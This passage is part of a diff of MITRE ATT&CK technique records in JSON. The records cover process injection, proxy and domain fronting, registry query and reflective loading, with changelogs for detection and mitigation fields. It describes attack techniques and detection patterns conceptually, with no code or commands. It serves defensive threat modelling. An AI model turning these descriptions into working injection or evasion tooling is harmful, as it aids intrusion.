+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Process: Process Modification\", \"Process: OS API Execution\", \"Process: Process Access\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:14.559000+00:00\", \"old_value\": \"2025-04-15 19:58:58.724000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\\n\\nProcessing hollowing commonly involves spawning an otherwise benign victim process. Consider correlating detections of processes created in a suspended state (ex: through API flags or process\\u2019 thread metadata) with other malicious activity such as attempts to modify a process' memory, especially by its parent process, or other abnormal process behavior.(Citation: Nviso Spoof Command Line 2020)(Citation: Mandiant Endpoint Evading 2019)\\n\\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\\n-\\n-Processing hollowing commonly involves spawning an otherwise benign victim process. Consider correlating detections of processes created in a suspended state (ex: through API flags or process\\u2019 thread metadata) with other malicious activity such as attempts to modify a process' memory, especially by its parent process, or other abnormal process behavior.(Citation: Nviso Spoof Command Line 2020)(Citation: Mandiant Endpoint Evading 2019)\\n-\\n-Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.\"}}}",
+ "previous_version": "1.4",
+ "changelog_mitigations": {
+ "shared": [
+ "M1040: Behavior Prevention on Endpoint"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (OS API Execution)",
+ "DS0009: Process (Process Access)",
+ "DS0009: Process (Process Creation)",
+ "DS0009: Process (Process Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0382: Detection Strategy for Process Hollowing on Windows"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--ea016b56-ae0e-47fe-967a-cc0ad51af67f",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-14 01:33:19.065000+00:00",
+ "modified": "2025-10-24 17:49:33.344000+00:00",
+ "name": "Ptrace System Calls",
+ "description": "Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPtrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: malloc) then invoking that memory with PTRACE_SETREGS to set the register containing the next instruction to execute. Ptrace system call injection can also be done with PTRACE_POKETEXT/PTRACE_POKEDATA, which copy data to a specific address in the target processes\u2019 memory (ex: the current address of the next instruction). (Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018) \n\nPtrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges.(Citation: BH Linux Inject) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process. ",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1055/008",
+ "external_id": "T1055.008"
+ },
+ {
+ "source_name": "PTRACE man",
+ "description": "Kerrisk, M. (2020, February 9). PTRACE(2) - Linux Programmer's Manual. Retrieved February 21, 2020.",
+ "url": "http://man7.org/linux/man-pages/man2/ptrace.2.html"
+ },
+ {
+ "source_name": "Medium Ptrace JUL 2018",
+ "description": "Jain, S. (2018, July 25). Code injection in running process using ptrace. Retrieved February 21, 2020.",
+ "url": "https://medium.com/@jain.sm/code-injection-in-running-process-using-ptrace-d3ea7191a4be"
+ },
+ {
+ "source_name": "BH Linux Inject",
+ "description": "Colgan, T. (2015, August 15). Linux-Inject. Retrieved February 21, 2020.",
+ "url": "https://github.com/gaffe23/linux-inject/blob/master/slides_BHArsenal2015.pdf"
+ },
+ {
+ "source_name": "ArtOfMemoryForensics",
+ "description": "Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017."
+ },
+ {
+ "source_name": "GNU Acct",
+ "description": "GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.",
+ "url": "https://www.gnu.org/software/acct/"
+ },
+ {
+ "source_name": "RHEL auditd",
+ "description": "Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.",
+ "url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing"
+ },
+ {
+ "source_name": "Chokepoint preload rootkits",
+ "description": "stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.",
+ "url": "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux"
+ ],
+ "x_mitre_version": "1.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Process: Process Access\", \"Process: Process Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:33.344000+00:00\", \"old_value\": \"2025-04-25 14:48:25.896000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) \\n\\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) \\n-\\n-Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. \"}}}",
+ "previous_version": "1.2",
+ "changelog_mitigations": {
+ "shared": [
+ "M1026: Privileged Account Management",
+ "M1040: Behavior Prevention on Endpoint"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (OS API Execution)",
+ "DS0009: Process (Process Access)",
+ "DS0009: Process (Process Modification)"
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+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0203: Detection Strategy for Ptrace-Based Process Injection on Linux"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--41d9846c-f6af-4302-a654-24bba2729bc6",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-14 01:28:32.166000+00:00",
+ "modified": "2025-10-24 17:48:42.433000+00:00",
+ "name": "Thread Execution Hijacking",
+ "description": "Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nThread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point the process can be suspended then written to, realigned to the injected code, and resumed via SuspendThread , VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Elastic Process Injection July 2017)\n\nThis is very similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) but targets an existing process rather than creating a process in a suspended state. \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process. ",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
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+ "description": "Abigail See, Zhongyuan (Aaron) Hau, Ren Jie Yow, Yoav Mazor, Omer Kidron, and Oren Biderman. (2025, February 4). The Anatomy of Abyss Locker Ransomware Attack. Retrieved April 4, 2025.",
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+ "description": "Gatlan, S. (2019, July 3). New Godlua Malware Evades Traffic Monitoring via DNS over HTTPS. Retrieved March 15, 2020.",
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+ "description": "SSH.COM. (n.d.). SSH tunnel. Retrieved March 15, 2020.",
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+ "x_mitre_platforms": [
+ "ESXi",
+ "Linux",
+ "macOS",
+ "Network Devices",
+ "Windows"
+ ],
+ "x_mitre_version": "3.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Connection Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:57.330000+00:00\", \"old_value\": \"2025-04-25 15:15:44.084000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\\n\\nConsider monitoring for traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\\n-\\n-Consider monitoring for traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)).\"}}}",
+ "previous_version": "3.2",
+ "changelog_mitigations": {
+ "shared": [
+ "M1020: SSL/TLS Inspection",
+ "M1031: Network Intrusion Prevention",
+ "M1037: Filter Network Traffic"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0029: Network Traffic (Network Connection Creation)",
+ "DS0029: Network Traffic (Network Traffic Content)",
+ "DS0029: Network Traffic (Network Traffic Flow)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0445: Detection of Proxy Infrastructure Setup and Traffic Bridging"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--ca9d3402-ada3-484d-876a-d717bd6e05f2",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-03-14 23:29:19.581000+00:00",
+ "modified": "2025-10-24 17:49:23.135000+00:00",
+ "name": "Domain Fronting",
+ "description": "Adversaries may take advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) Domain fronting involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).\n\nFor example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "command-and-control"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1090/004",
+ "external_id": "T1090.004"
+ },
+ {
+ "source_name": "Fifield Blocking Resistent Communication through domain fronting 2015",
+ "description": "David Fifield, Chang Lan, Rod Hynes, Percy Wegmann, and Vern Paxson. (2015). Blocking-resistant communication through domain fronting. Retrieved November 20, 2017.",
+ "url": "http://www.icir.org/vern/papers/meek-PETS-2015.pdf"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Matt Kelly, @breakersall"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "macOS",
+ "Windows",
+ "ESXi"
+ ],
+ "x_mitre_version": "1.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:23.135000+00:00\", \"old_value\": \"2025-04-25 14:48:02.492000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"If SSL inspection is in place or the traffic is not encrypted, the Host field of the HTTP header can be checked if it matches the HTTPS SNI or against a blocklist or allowlist of domain names. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015)\"}}}",
+ "previous_version": "1.2",
+ "changelog_mitigations": {
+ "shared": [
+ "M1020: SSL/TLS Inspection"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0029: Network Traffic (Network Traffic Content)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0196: Domain Fronting Behavior via Mismatched TLS SNI and HTTP Host Headers"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-03-14 23:08:20.244000+00:00",
+ "modified": "2025-10-24 17:49:37.574000+00:00",
+ "name": "Internal Proxy",
+ "description": "Adversaries may use an internal proxy to direct command and control traffic between two or more systems in a compromised environment. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use internal proxies to manage command and control communications inside a compromised environment, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between infected systems to avoid suspicion. Internal proxy connections may use common peer-to-peer (p2p) networking protocols, such as SMB, to better blend in with the environment.\n\nBy using a compromised internal system as a proxy, adversaries may conceal the true destination of C2 traffic while reducing the need for numerous connections to external systems.",
+ "kill_chain_phases": [
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "command-and-control"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1090/001",
+ "external_id": "T1090.001"
+ },
+ {
+ "source_name": "University of Birmingham C2",
+ "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
+ "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
+ },
+ {
+ "source_name": "Trend Micro APT Attack Tools",
+ "description": "Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.",
+ "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/"
+ }
+ ],
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+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
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+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "Network Devices",
+ "Windows",
+ "macOS",
+ "ESXi"
+ ],
+ "x_mitre_version": "1.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Connection Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:37.574000+00:00\", \"old_value\": \"2025-04-15 19:59:22.365000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze network data for uncommon data flows between clients that should not or often do not communicate with one another. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)\"}}}",
+ "previous_version": "1.2",
+ "changelog_mitigations": {
+ "shared": [
+ "M1031: Network Intrusion Prevention"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0029: Network Traffic (Network Connection Creation)",
+ "DS0029: Network Traffic (Network Traffic Content)",
+ "DS0029: Network Traffic (Network Traffic Flow)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0075: Internal Proxy Behavior via Lateral Host-to-Host C2 Relay"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2017-05-31 21:30:25.584000+00:00",
+ "modified": "2025-10-24 17:49:20.660000+00:00",
+ "name": "Query Registry",
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+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "discovery"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1012",
+ "external_id": "T1012"
+ },
+ {
+ "source_name": "Wikipedia Windows Registry",
+ "description": "Wikipedia. (n.d.). Windows Registry. Retrieved February 2, 2015.",
+ "url": "https://en.wikipedia.org/wiki/Windows_Registry"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
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+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "1.3",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Windows Registry: Windows Registry Key Access\", \"Command: Command Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:20.660000+00:00\", \"old_value\": \"2025-04-15 22:58:50.612000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n\\nInteraction with the Windows Registry may come from the command line using utilities such as [Reg](https://attack.mitre.org/software/S0075) or through running malware that may interact with the Registry through an API. Command-line invocation of utilities used to query the Registry may be detected through process and command-line monitoring. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n-\\n-Interaction with the Windows Registry may come from the command line using utilities such as [Reg](https://attack.mitre.org/software/S0075) or through running malware that may interact with the Registry through an API. Command-line invocation of utilities used to query the Registry may be detected through process and command-line monitoring. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\"}}}",
+ "previous_version": "1.3",
+ "changelog_mitigations": {
+ "shared": [],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (OS API Execution)",
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)",
+ "DS0024: Windows Registry (Windows Registry Key Access)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0209: Detection of Registry Query for Environmental Discovery"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--4933e63b-9b77-476e-ab29-761bc5b7d15a",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2021-10-05 01:15:06.293000+00:00",
+ "modified": "2025-10-24 17:48:44.030000+00:00",
+ "name": "Reflective Code Loading",
+ "description": "Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk (e.g., [Shared Modules](https://attack.mitre.org/techniques/T1129)).\n\nReflectively loaded payloads may be compiled binaries, anonymous files (only present in RAM), or just snubs of fileless executable code (ex: position-independent shellcode).(Citation: Introducing Donut)(Citation: S1 Custom Shellcode Tool)(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Mandiant BYOL) For example, the `Assembly.Load()` method executed by [PowerShell](https://attack.mitre.org/techniques/T1059/001) may be abused to load raw code into the running process.(Citation: Microsoft AssemblyLoad)\n\nReflective code injection is very similar to [Process Injection](https://attack.mitre.org/techniques/T1055) except that the \u201cinjection\u201d loads code into the processes\u2019 own memory instead of that of a separate process. Reflective loading may evade process-based detections since the execution of the arbitrary code may be masked within a legitimate or otherwise benign process. Reflectively loading payloads directly into memory may also avoid creating files or other artifacts on disk, while also enabling malware to keep these payloads encrypted (or otherwise obfuscated) until execution.(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Intezer ACBackdoor)(Citation: S1 Old Rat New Tricks)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1620",
+ "external_id": "T1620"
+ },
+ {
+ "source_name": "00sec Droppers",
+ "description": "0x00pico. (2017, September 25). Super-Stealthy Droppers. Retrieved October 4, 2021.",
+ "url": "https://0x00sec.org/t/super-stealthy-droppers/3715"
+ },
+ {
+ "source_name": "S1 Custom Shellcode Tool",
+ "description": "Bunce, D. (2019, October 31). Building A Custom Tool For Shellcode Analysis. Retrieved October 4, 2021.",
+ "url": "https://www.sentinelone.com/blog/building-a-custom-tool-for-shellcode-analysis/"
+ },
+ {
+ "source_name": "Mandiant BYOL",
+ "description": "Kirk, N. (2018, June 18). Bring Your Own Land (BYOL) \u2013 A Novel Red Teaming Technique. Retrieved October 4, 2021.",
+ "url": "https://www.mandiant.com/resources/bring-your-own-land-novel-red-teaming-technique"
+ },
+ {
+ "source_name": "S1 Old Rat New Tricks",
+ "description": "Landry, J. (2016, April 21). Teaching an old RAT new tricks. Retrieved October 4, 2021.",
+ "url": "https://www.sentinelone.com/blog/teaching-an-old-rat-new-tricks/"
+ },
+ {
+ "source_name": "MDSec Detecting DOTNET",
+ "description": "MDSec Research. (n.d.). Detecting and Advancing In-Memory .NET Tradecraft. Retrieved October 4, 2021.",
+ "url": "https://www.mdsec.co.uk/2020/06/detecting-and-advancing-in-memory-net-tradecraft/"
+ },
+ {
+ "source_name": "Microsoft AssemblyLoad",
+ "description": "Microsoft. (n.d.). Assembly.Load Method. Retrieved February 9, 2024.",
+ "url": "https://learn.microsoft.com/dotnet/api/system.reflection.assembly.load"
+ },
+ {
+ "source_name": "Intezer ACBackdoor",
+ "description": "Sanmillan, I. (2019, November 18). ACBackdoor: Analysis of a New Multiplatform Backdoor. Retrieved October 4, 2021.",
+ "url": "https://www.intezer.com/blog/research/acbackdoor-analysis-of-a-new-multiplatform-backdoor/"
+ },
+ {
+ "source_name": "Stuart ELF Memory",
+ "description": "Stuart. (2018, March 31). In-Memory-Only ELF Execution (Without tmpfs). Retrieved October 4, 2021.",
+ "url": "https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html"
+ },
+ {
+ "source_name": "Introducing Donut",
+ "description": "The Wover. (2019, May 9). Donut - Injecting .NET Assemblies as Shellcode. Retrieved October 4, 2021.",
+ "url": "https://thewover.github.io/Introducing-Donut/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Jo\u00e3o Paulo de A. Filho, @Hug1nN__",
+ "Shlomi Salem, SentinelOne",
+ "Lior Ribak, SentinelOne",
+ "Rex Guo, @Xiaofei_REX, Confluera",
+ "Joas Antonio dos Santos, @C0d3Cr4zy, Inmetrics",
+ "Jiraput Thamsongkrah"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "macOS",
+ "Windows"
+ ],
+ "x_mitre_version": "1.3",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Module: Module Load\", \"Script: Script Execution\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:44.030000+00:00\", \"old_value\": \"2025-04-15 19:58:27.959000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for code artifacts associated with reflectively loading code, such as the abuse of .NET functions such as Assembly.Load() and [Native API](https://attack.mitre.org/techniques/T1106) functions such as CreateThread(), memfd_create(), execve(), and/or execveat().(Citation: 00sec Droppers)(Citation: S1 Old Rat New Tricks)\\n\\nMonitor for artifacts of abnormal process execution. For example, a common signature related to reflective code loading on Windows is mechanisms related to the .NET Common Language Runtime (CLR) -- such as mscor.dll, mscoree.dll, and clr.dll -- loading into abnormal processes (such as notepad.exe). Similarly, AMSI / ETW traces can be used to identify signs of arbitrary code execution from within the memory of potentially compromised processes.(Citation: MDSec Detecting DOTNET)(Citation: Introducing Donut)\\n\\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. \", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitor for code artifacts associated with reflectively loading code, such as the abuse of .NET functions such as Assembly.Load() and [Native API](https://attack.mitre.org/techniques/T1106) functions such as CreateThread(), memfd_create(), execve(), and/or execveat().(Citation: 00sec Droppers)(Citation: S1 Old Rat New Tricks)\\n-\\n-Monitor for artifacts of abnormal process execution. For example, a common signature related to reflective code loading on Windows is mechanisms related to the .NET Common Language Runtime (CLR) -- such as mscor.dll, 